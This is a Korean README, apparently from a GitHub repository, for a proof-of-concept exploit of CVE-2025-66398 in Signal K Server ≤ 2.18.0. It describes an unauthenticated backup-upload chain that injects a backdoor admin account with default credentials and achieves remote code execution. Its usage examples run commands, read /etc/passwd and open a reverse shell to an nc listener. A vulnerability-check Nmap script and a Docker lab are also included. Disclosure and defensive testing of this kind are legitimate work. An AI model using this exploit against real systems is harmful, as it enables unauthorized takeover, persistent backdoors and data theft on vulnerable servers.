CVE-2025-66398 — Signal K Server ≤ 2.18.0 RCE PoC
CVE-2025-66398은 Signal K Server의 문제로, 인증되지 않은 공격자가 /skServer/validateBackup을 통해 서버의 복원 상태를 오염시키고, /skServer/restore를 통해 설정을 가로채서 백도어 관리자 계정을 주입한 후, 보안 전략을 공격자가 제어하는 Node.js 모듈로 전환하여 RCE를 달성할 수 있습니다.
영향받는 버전: Signal K Server ≤ 2.18.0
영향 (개괄): 인증되지 않은 상태 오염 → 백도어 관리자 주입 → 원격 코드 실행 (복원 및 재시작 시)
/skServer/validateBackup이 인증되지 않은 업로드를 수락하는지 테스트합니다.http-signalk-cve-2025-66398.nse 파일 (검사 전용, 익스플로잇 없음).git clone https://github.com/joshuavanderpoll/cve-2025-66398.git
cd CVE-2025-66398
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
git clone https://github.com/joshuavanderpoll/cve-2025-66398.git
cd CVE-2025-66398
python3 -m venv .venv
.venv\Scripts\activate
pip3 install -r requirements.txt
git clone https://github.com/joshuavanderpoll/cve-2025-66398.git
cd CVE-2025-66398
go build -o exp cve-2025-66398.go
go install github.com/joshuavanderpoll/cve-2025-66398@latest
go run github.com/joshuavanderpoll/cve-2025-66398@latest -target http://127.0.0.1:8111
이 PoC는 두 가지 모드를 제공합니다:
-check, -command, -read-file 등의 플래그를 전달합니다. (첫 번째 성공적인 대화형 모드 이후에만 권장)python3 cve-2025-66398.py -h
# 또는 GoLang 릴리스
./cve-2025-66398 -h
___ __ ___ ___ __ __ _______ ___
____ _____ __|_ ) \_ ) __|___ / / / /|__ / _ ( _ )
/ _\ V / -_)___/ / () / /|__ \___/ _ \/ _ \|_ \_, / _ \
\__|\_/\___| /___\__/___|___/ \___/\___/___//_/\___/
https://github.com/joshuavanderpoll/cve-2025-66398
usage: exp.py [-h] [-target URL] [-useragent UA] [-timeout SEC] [-target-os OS] [-signalk-dir DIR] [-check] [-admin-user USER] [-admin-pass PASS] [-backdoor-user USER] [-backdoor-pass PASS] [-command CMD]
[-read-file PATH] [-write-file CONTENT PATH] [-code CODE] [-shell] [-lhost HOST] [-lport PORT]
CVE-2025-66398 -- Signal K 상태 오염 -> 백도어 -> RCE
options:
-h, --help 이 도움말 메시지를 보여주고 종료
-target URL Signal K 서버의 기본 URL
-useragent UA 모든 HTTP 요청의 User-Agent 헤더
-timeout SEC 요청 타임아웃 (초, 기본값: 10)
-target-os OS 대상 서버 OS (페이로드/경로 조정): linux (기본값) 또는 windows
-signalk-dir DIR 대상의 Signal K 데이터 디렉터리 재정의 (기본값: OS에 따라 결정)
-check 익스플로잇 없이 대상이 취약한지 테스트
-admin-user USER 2단계 복원을 위한 관리자 사용자 이름
-admin-pass PASS 2단계 복원을 위한 관리자 비밀번호
-backdoor-user USER 주입할 백도어 사용자 이름 (기본값: backdoor)
-backdoor-pass PASS 주입할 백도어 비밀번호 (기본값: H4CK1nd3x!)
-command CMD 서버에서 명령 실행 (비대화형)
-read-file PATH RCE를 통해 원격 파일 읽기
-write-file CONTENT PATH
RCE를 통해 CONTENT를 서버의 PATH에 쓰기
-code CODE 원시 Node.js 코드를 보안 모듈로 주입
-shell 리버스 셸 배포 (-lhost 및 -lport 필요)
-lhost HOST 리버스 셸용 리스너 호스트
-lport PORT 리버스 셸용 리스너 포트
python3 cve-2025-66398.py -target http://127.0.0.1:3000 -check
# 또는 GoLang 릴리스
./cve-2025-66398 -target http://127.0.0.1:3000 -check

독립형 Nmap 스크립트가 포함되어 있으며, 동일한 인증되지 않은 프로브를 수행합니다 (익스플로잇 없음).
# 알려진 Signal K 포트에 대해
nmap -p 3000 --script ./http-signalk-cve-2025-66398.nse <target>
# 시스템 전체에 설치하고 경로 없이 실행
sudo cp http-signalk-cve-2025-66398.nse $(nmap --datadir)/scripts/
sudo nmap --script-updatedb
nmap -p 3000 --script http-signalk-cve-2025-66398 <target>
출력 예시:
PORT STATE SERVICE
9360/tcp open unknown
| http-signalk-cve-2025-66398:
| state: VULNERABLE
| title: Signal K Server Unauthenticated Backup Upload leading to RCE
| IDs: CVE-2025-66398
|_ references: https://github.com/joshuavanderpoll/cve-2025-66398 | https://www.cve.org/CVERecord?id=CVE-2025-66398
python3 cve-2025-66398.py -target http://127.0.0.1:3000
# 또는 GoLang 릴리스
./cve-2025-66398 -target http://127.0.0.1:3000

스크립트는 다음을 수행합니다:
/skServer/validateBackup에 악성 .backup 업로드 (인증 불필요)/skServer/restore 트리거전체 체인 실행 (1단계 → 3단계) 및 명령 실행:
python3 cve-2025-66398.py -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -command "id"
# 또는 GoLang 릴리스
./cve-2025-66398 -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -command "id"

원격 파일 읽기 (3단계):
python3 cve-2025-66398.py -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -read-file /etc/passwd
# 또는 GoLang 릴리스
./cve-2025-66398 -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -read-file /etc/passwd

리버스 셸 (3단계):
nc -lvnp 4444
python3 cve-2025-66398.py -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -shell -lhost <YOUR_IP> -lport 4444
# 또는 GoLang 릴리스
./cve-2025-66398 -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -shell -lhost <YOUR_IP> -lport 4444

참고:
-admin-user/-admin-pass를 전달하지 않으면 스크립트는 이전 실행에서 백도어 계정이 이미 활성화되었다고 가정합니다.backdoor / H4CK1nd3x!입니다 (-backdoor-user / -backdoor-pass로 재정의).-signalk-dir <DIR>을 전달하세요.취약한 소프트웨어가 포함된 독립형 Docker Compose 환경으로 로컬 테스트에 사용할 수 있습니다. 자세한 내용은 DOCKER.md를 확인하세요.
cd docker/
docker compose up -d
python3 ../cve-2025-66398.py -target http://127.0.0.1:9360 -check
python3 ../cve-2025-66398.py -target http://127.0.0.1:9360
이 PoC는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 소유하지 않거나 명시적 테스트 권한이 없는 시스템에 대해 실행하지 마십시오.